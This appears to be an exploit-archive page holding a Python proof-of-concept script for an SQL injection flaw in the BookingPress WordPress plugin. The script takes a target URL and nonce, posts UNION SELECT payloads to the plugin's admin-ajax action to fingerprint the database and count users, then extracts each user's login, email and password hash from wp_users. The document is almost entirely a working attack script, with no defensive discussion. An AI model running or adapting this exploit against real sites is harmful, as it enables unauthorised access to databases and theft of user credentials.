4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / booking-press-expl.py PY
import requests
from json import loads
from random import randint
from argparse import ArgumentParser

p = ArgumentParser()
p.add_argument('-u', '--url', dest='url', help='URL of wordpress server with vulnerable plugin (http://example.domain)', required=True)
p.add_argument('-n', '--nonce', dest='nonce', help='Nonce that you got as unauthenticated user', required=True)

trigger = ") UNION ALL SELECT @@VERSION,2,3,4,5,6,7,count(*),9 from wp_users-- -"
gainer = ') UNION ALL SELECT user_login,user_email,user_pass,NULL,NULL,NULL,NULL,NULL,NULL from wp_users limit 1 offset {off}-- -'

# Payload: ) AND ... -- - total(9)
def gen_payload(nonce, sqli_postfix, category_id=1):
    return { 
        'action': 'bookingpress_front_get_category_services', # vulnerable action,
        '_wpnonce': nonce,
        'category_id': category_id,
        'total_service': f'{randint(100, 10000)}{sqli_postfix}'
    }

if __name__ == '__main__':  
    print('- BookingPress PoC')
    i = 0
    args = p.parse_args()
    url, nonce = args.url, args.nonce
    pool = requests.session()


    # Check if target is vulnerable
    v_url = f'{url}/wp-admin/admin-ajax.php'
    proof_payload = gen_payload(nonce, trigger)
    
    res = pool.post(v_url, data=proof_payload)
    try:
        res = list(loads(res.text)[0].values())
    except Exception as e:
        print('-- Got junk... Plugin not vulnerable or nonce is incorrect')
        exit(-1)
    cnt = int(res[7])
    
    # Capture hashes
    print('-- Got db fingerprint: ', res[0])
    print('-- Count of users: ', cnt)
    for i in range(cnt):
        try:
            # Generate payload
            user_payload = gen_payload(nonce, gainer.format(off=i))
            u_data = list(loads(pool.post(v_url, user_payload).text)[0].values())
            print(f'|{u_data[0]}|{u_data[1]}|{u_data[2]}|')
        except: continue